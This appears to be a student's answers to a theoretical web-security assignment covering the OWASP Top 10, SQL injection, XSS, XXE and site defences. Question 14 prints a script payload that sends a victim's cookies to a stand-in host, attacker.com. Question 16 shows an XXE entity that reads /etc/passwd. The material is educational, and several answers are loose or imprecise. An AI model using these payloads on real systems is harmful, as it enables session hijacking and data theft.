# Vulnerabilities and Defenses Task - Theoretical

# Question 1

**What is a vulnerability?**  
It is a weakness or flaw in a system, network, software, or application that can be exploited by malicious actors.

Server-side vulnerabilities –These allow an attacker to attack the server/service hosting the web application. Attacks may include retrieving data from the server, gathering sensitive information, performing a denial of service attack, and potentially executing malicious code on the server.  
  
Client-side vulnerabilities –These allow an attacker to attack the users of the application. They can include denial of service of the user’s browser or operating system, and potentially run malicious code on the user's browser or even operating system.

# Question 2

**Why are vulnerabilities a threat to networks?&nbsp;Explain your answer.**

**Unauthorized Access:** Vulnerabilities can allow unauthorized individuals to gain access to network resources, systems, or sensitive information. This can result in data breaches, privacy violations, or unauthorized manipulation of critical systems.

**Data Loss or Manipulation:** Exploiting vulnerabilities can lead to the loss, theft, or manipulation of valuable data. Attackers can modify or delete data, disrupt business operations, or use the compromised information for malicious purposes.

**Malware and Ransomware Attacks:** Vulnerabilities can serve as entry points for malware or ransomware attacks. Once inside a network, malicious software can spread, infect systems, encrypt files, and cause significant disruption or financial loss.

**Denial-of-Service (DoS) Attacks:** Certain vulnerabilities can be exploited to launch DoS attacks, where an attacker overwhelms a network or system with a flood of traffic, rendering it unavailable to legitimate users. This can result in service disruptions, financial loss, and reputational damage.

**Privilege Escalation:** Vulnerabilities that allow privilege escalation enable attackers to gain higher levels of access or administrative privileges within a network. This can lead to unauthorized control over systems, compromising the integrity and security of the network.

**Network Compromise:** Exploiting vulnerabilities can provide attackers with a foothold within a network, allowing them to move laterally and gain access to other systems or segments of the network. This can lead to a full-scale network compromise and potential control over critical infrastructure.

**Reputation and Financial Damage:** Network vulnerabilities can result in significant financial losses, legal liabilities, and reputational damage to organizations. Customers, partners, and stakeholders may lose trust in the organization's ability to protect sensitive information, potentially leading to business disruptions or loss of opportunities.

**Compliance and Legal Consequences:** Vulnerabilities can expose organizations to non-compliance with industry regulations and legal requirements, such as data protection laws. Failure to address vulnerabilities adequately may result in penalties, lawsuits, or regulatory actions.

# Question 3

**Name five of the OWASP Top 10 vulnerabilities.**  
1)Broken Access Control  
2)Crytographic failures  
3)Injection  
4)Insecure design  
5)Security misconfiguration  
6)Vulnerable and outdated components  
7)Identification and authentication failures  
8)Software and data integrity failures  
9)Security logging and monitoring failures  
10)Server-side request forgery(SSRF)

# Question 4

**Pick one vulnerability from the five you mentioned in the previous question, explain it, and give an example of an attack involving that vulnerability.**  
A lack of access control can enable attackers to access user accounts, impersonate users or administrators, and igve regular users unintented access to privileged functionalities.  
  
Directory traversal  
Directory traversal is a type of security vulnerability that allows attackers to access files and directories they should not have access to. This can be done by manipulating the file path to allow the attacker to "traverse" the file system to reach restricted areas. Directory traversal is a severe security issue because it can expose sensitive data and be used to gain access to restricted areas of a system.

# Question 5

**Explain what an SQL injection attack is.**  
An SQL (Structured Query Language) injection attack is a type of cybersecurity exploit that targets web applications or databases that use SQL for data storage and retrieval. It occurs when an attacker is able to manipulate an application's input parameters to inject malicious SQL statements into the application's database query.  
Sometimes, an attacker can manipulate those queries and change their structure to run malicious payloads on the database.

# Question 6

**Give five reasons why sites may be vulnerable to SQL injection.**  
-A web application stores data for many operational and technical purposes.  
-This data is stored in a database.  
-The data inside the database needs to be modified frequently, based on users´ interactions and needs.  
-The web application and the database talk to each other using a programming language called SQL.  
-The SQL language uses queries to perform modifications and searches inside a database.  
-These queries are built dynamically, based on what the user has asked to search for or modify.  
-Sometimes, an attacker can manipulate those queries and change their structure to run malicious payloads on the database. This is a SQL inyection!.

# Question 7

**Name the three basic SQL commands and their purposes.**  
SELECT: Defines the fields you are seeking.  
FROM: Specifies the tables.  
WHERE: Allows you to filter your query by defining the conditions, according to which records are to be retrieved.

# Question 8

**Describe how attackers conduct SQL injection attacks.**  
Many web applications use SQL databases to read and write data by executing SQL queries on the web server. These queries are used for various purposes such as login authentication (checking for username and password), presenting data (catalogs in online stores), submitting data (adding data to your online profile page, for example), and more.  
SQL injection is possible when web applications executing SQL queries based on user input are designed in an insecure way that allows user input to be directly included in the SQL query. This allows attackers to manipulate the query for malicious purposes. These malicious code injections are often referred to as payloads.  
  
Here's how an SQL injection attack typically works:  
  
Web Application with Database: The target of the attack is usually a web application that interacts with a database using SQL queries. The application dynamically constructs SQL queries by combining user-supplied input with predefined query logic.  
  
Malicious Input: The attacker intentionally submits crafted input to the application, typically through user input fields such as forms or URL parameters. This input is designed to manipulate the SQL query structure.  
  
SQL Injection: If the application fails to properly validate, sanitize, or escape the user input, the injected SQL code becomes part of the application's query, leading to unintended consequences.  
  
Exploitation: The injected SQL code can alter the original query's logic or perform unauthorized actions. This can include retrieving sensitive data, modifying or deleting data, or even gaining unauthorized access to the underlying system.  
  
SQL injection attacks can have severe consequences, including unauthorized access to sensitive data, data breaches, data manipulation, or even complete system compromise.

# Question 9

**Name two types of SQL injection attacks.**  
1)Error-Based SQLi: In these attacks, the attacker performs actions that cause the database to producer error messages. The attacker can potentially use the data from these error messages to learn about the structure of the database.  
2)Union-based SQLi: This technique takes advantage of the UNION SQL operator, which combines multiples statements generated by the data-base to obtain a single HTTP response. This response may contain data that can be exploited by an attacker.  
3)Blind SQL injections: These rely on the response and behavioral patterns of the server, so they are typically slower to execute. Homever, they can be just as harmful.  
Blind SQL injections can be classified as follows:  
-Boolean  
-Time-based

# Question 10

**Name and explain the three most common and effective ways to protect a system from SQL injection attacks.**  
1)Use prepared statements: It ensure that attackers cannot change the intent of a query, even if SQL commands are inserted by an attacker.  
2)Use stored procedures: It is a SQL statement that is precompiled and stored on the database server, it is convenient to create a stored procedure on a frequently used SQL script and save it on the database server. The next time that SQL script need to be executed, you can just call that stored procedure.  
3)Input validation and whitelists: Create a strict ruleset that allows inserting only relevant input in a specific parameter.. For example, the parameter "ID-Number" should only allow numbers - no special characters or letters.

# Question 11

**Explain what a cross-site scripting attack (XSS) is.**  
It is attack that uses a client-side scripting language such as JavaScript to exploit vulnerabilities in web applications.

# Question 12

**Describe how cross-site scripting attacks are performed.**  
1)Perpetrator discovers a website with a vulnerability that enables script.  
2)Perpetrator injects the website with a malicious script that steals visitor´s session cookies.  
3)For each visit to the website, the malicious script is activated.  
4)The visitor´s session cookies are sent to the perpetrator.

# Question 13

**Name and explain the three main types of XSS attacks.**  
1)Reflected XSS  
-This is the most common type of XSS attack.   
-In these attacks, the attacker sends malicious code to the victim through a malformed HTTP request.  
-The script is activated through a link.  
-The user’s browser receives the malicious script and executes the code, assuming it’s a legitimate resource from the website.  
-Because the malicious code is not stored on the web server but reflected in the requesting user's browser, the attacker must use social engineering (such as phishing) to deliver the attack and convince the user to click the malicious link.   
2)Stored XSS  
-The attacker can store the injected code directly in the web server’s database or any other stored location (filesystem, etc.).  
-This attack has the potential to reach and affect countless users, as the target only needs to visit the page hosting the injected code. To affect as many users as possible, an attacker will attempt to inject the malicious code into the most-visited pages in the web application.  
-Usually, you will find such vulnerabilities in websites that store user data, such as forums, question boards, and social media.  
-The vulnerability occurs due to coding errors that fail to sanitize user input.  
3)DOM Based XSS  
In a DOM-based XSS attack, malicious script is inserted into the DOM (Document Object Model) environment, in a way that allows the attacker to change the behaviour of specific actions in the browser, without actually changing the HTTP response being sent to the user.

# Question 14

**The main delivery mechanisms for XSS attacks are defacement, phishing, and session hijacking. Explain each of these exploitation techniques in your own words.&nbsp;  
  
  
Defacement  
Phishing  
Hijacking sessions**  
1)Defacement  
Attackers will often insert malicious HTML and JavaScript code into websites using stored XSS vulnerabilities to deface the web application’s appearance. This is common in hacking campaigns with a specific meaning (political, for example).  
2)Phishing  
In these attacks, attackers may insert a fake iframe tag to create a phishing scenario in which users are tricked into browsing a fake website.  
3)Hijacking (Stealing) Sessions  
In some cases, an attacker can create a malicious payload that will send a victim’s cookie (often used for session validation and authentication) back to the attacker. This can allow the attacker to use the cookie to impersonate the victim online.  
A sample payload may look like:  
<script>new  
Image().src="http://attacker.com/steal.php?output="+document.cookie;</script>  
Try to think how the payloads work and how the attacker would eventually receive the user’s cookie!

# Question 15

**Read the following article and explain how to protect a website from XSS attacks.**  
1)Output Encoding  
It is recommended when you need to safely display data exactly as a user typed it in. Variables should not be interpreted as code instead of text. This section covers each form of output encoding, where to use it, and where to avoid using dynamic variables entirely.  
There are many different output encoding methods because browsers parse HTML, JS, URLs, and CSS differently. Using the wrong encoding method may introduce weaknesses or harm the functionality of your application.  
2)HTML Sanitization  
Sometimes users need to author HTML. One scenario would be allow users to change the styling or structure of content inside a WYSIWYG editor. Output encoding here will prevent XSS, but it will break the intended functionality of the application. The styling will not be rendered. In these cases, HTML Sanitization should be used.  
3)Other Controls  
Framework Security Protections, Output Encoding, and HTML Sanitization will provide the best protection for your application. OWASP recommends these in all circumstances.  
Consider adopting the following controls in addition to the above:  
-Cookie Attributes - These change how JavaScript and browsers can interact with cookies. Cookie attributes try to limit the impact of an XSS attack but don’t prevent the execution of malicious content or address the root cause of the vulnerability.  
-Content Security Policy - An allowlist that prevents content being loaded. It’s easy to make mistakes with the implementation so it should not be your primary defense mechanism. Use a CSP as an additional layer of defense and have a look at the cheatsheet here.  
-Web Application Firewalls - These look for known attack strings and block them. WAF’s are unreliable and new bypass techniques are being discovered regularly. WAFs also don’t address the root cause of an XSS vulnerability. In addition, WAFs also miss a class of XSS vulnerabilities that operate exclusively client-side. WAFs are not recommended for preventing XSS, especially DOM-Based XSS.  
  
Article:  
https://cheatsheetseries.owasp.org/cheatsheets/Cross\_Site\_Scripting\_Prevention\_Cheat\_Sheet.html

# Question 16

**Describe how XML external entity (XXE) attacks are performed.**  
XML External Entity (XXE) attacks are a type of security vulnerability that targets applications processing XML data. In an XXE attack, an attacker exploits the ability of XML parsers to interpret external entities, which are references to external resources such as files, URLs, or system identifiers. Here's a general overview of how XXE attacks are performed:  
  
-Identify the Target: The attacker identifies a target application that processes XML input and potentially uses an XML parser.  
  
-Craft a Malicious XML Document: The attacker crafts a specially crafted XML document, usually by injecting a malicious XML entity into the XML data.  
  
-Define a Malicious External Entity: The attacker defines an external entity that references a file, URL, or system identifier they want to access or manipulate. This can be done by adding a declaration like <!ENTITY name SYSTEM "file:///etc/passwd"> in the XML document.  
  
-Submit the Malicious XML to the Target Application: The attacker submits the malicious XML document to the target application, typically via input fields, file uploads, or API endpoints.  
  
-XML Parsing and Entity Expansion: When the target application processes the XML input, the XML parser expands and resolves the declared entities. If the application is vulnerable to XXE, it will resolve the malicious external entity.  
  
-Exploitation: Depending on the attacker's goal, various actions can be performed:  
 Information Disclosure: The attacker can retrieve sensitive data by referencing files accessible to the application, such as configuration files or user data.  
 Denial of Service (DoS): The attacker can exploit the XXE vulnerability to cause resource exhaustion or slowdowns by referencing large or infinite external entities.  
 Server-Side Request Forgery (SSRF): By referencing external URLs, the attacker can force the target application to make unintended requests to internal or external systems, potentially leading to further attacks.  
  
XXE attacks can have severe consequences, including data exposure, unauthorized information retrieval, system compromise, or service disruption.

# Question 17

**Explain the difference between a broken authentication attack and a broken access control attack.**  
Both broken authentication and broken access control are common web application vulnerabilities that can lead to unauthorized access and compromise of sensitive data. However, there are distinct differences between the two:  
-Broken authentication focuses on vulnerabilities in the authentication process, compromising user identities and authentication mechanisms.  
-Broken access control, on the other hand, targets weaknesses in the enforcement of access controls, enabling unauthorized access or actions beyond authorized permissions.  
  
To mitigate these vulnerabilities, it is important to follow secure coding practices, such as implementing strong authentication mechanisms, enforcing proper session management, conducting thorough authorization checks, and regularly testing and auditing the access control mechanisms in your applications.

# Question 18

**When building your own website, which security features would you include to protect your sites from the cyber attacks discussed in this task?**  
When building your own website, it is crucial to prioritize security to protect against various cyber attacks. Here are some essential security features to consider implementing:  
  
1. Secure Authentication:  
 - Implement strong password policies, including requirements for password complexity, length, and expiration.  
 - Utilize multi-factor authentication (MFA) to add an extra layer of security.  
 - Employ mechanisms like CAPTCHA to prevent automated brute-force attacks.  
 - Implement session management techniques to prevent session hijacking and enforce secure session handling.  
  
2. Input Validation and Sanitization:  
 - Validate and sanitize all user input to prevent common attacks like cross-site scripting (XSS), SQL injection, and command injection.  
 - Use appropriate encoding and escaping techniques to protect against injection attacks.  
 - Apply input validation based on expected data types, formats, and ranges to prevent data manipulation.  
  
3. Secure Handling of Sensitive Data:  
 - Encrypt sensitive data at rest and in transit using strong encryption algorithms.  
 - Avoid storing sensitive information, such as passwords or payment card details, in plain text.  
 - Implement secure protocols (e.g., HTTPS) to protect data transmission between the website and users.  
  
4. Access Control:  
 - Enforce proper access controls to ensure that users have appropriate permissions and cannot access unauthorized resources.  
 - Implement role-based access control (RBAC) or attribute-based access control (ABAC) mechanisms to manage user privileges effectively.  
  
5. Regular Software Updates and Patching:  
 - Keep all software, including the website's content management system (CMS), plugins, frameworks, and libraries, up to date with the latest security patches.  
 - Monitor security advisories and promptly apply patches to address known vulnerabilities.  
  
6. Content Security Policies (CSP):  
 - Implement a Content Security Policy to restrict the execution of potentially malicious scripts, inline styles, or other unsafe content.  
 - Define policies to whitelist trusted sources for content, including scripts, stylesheets, and fonts.  
  
7. Web Application Firewall (WAF):  
 - Employ a WAF to detect and block common attacks, such as SQL injection, XSS, or cross-site request forgery (CSRF).  
 - Configure the WAF to filter and monitor incoming traffic, identify suspicious patterns, and block potential threats.  
  
8. Security Testing and Auditing:  
 - Regularly conduct security testing, including vulnerability scanning, penetration testing, and code reviews.  
 - Perform periodic security audits to identify and address any weaknesses or vulnerabilities in the website.  
  
9. User Education:  
 - Educate website users about secure browsing practices, such as creating strong passwords, being cautious of phishing attempts, and reporting any suspicious activities.  
  
Remember, website security is an ongoing process. It is essential to stay updated on the latest security trends, maintain vigilance, and regularly review and enhance security measures to protect your website from evolving cyber threats.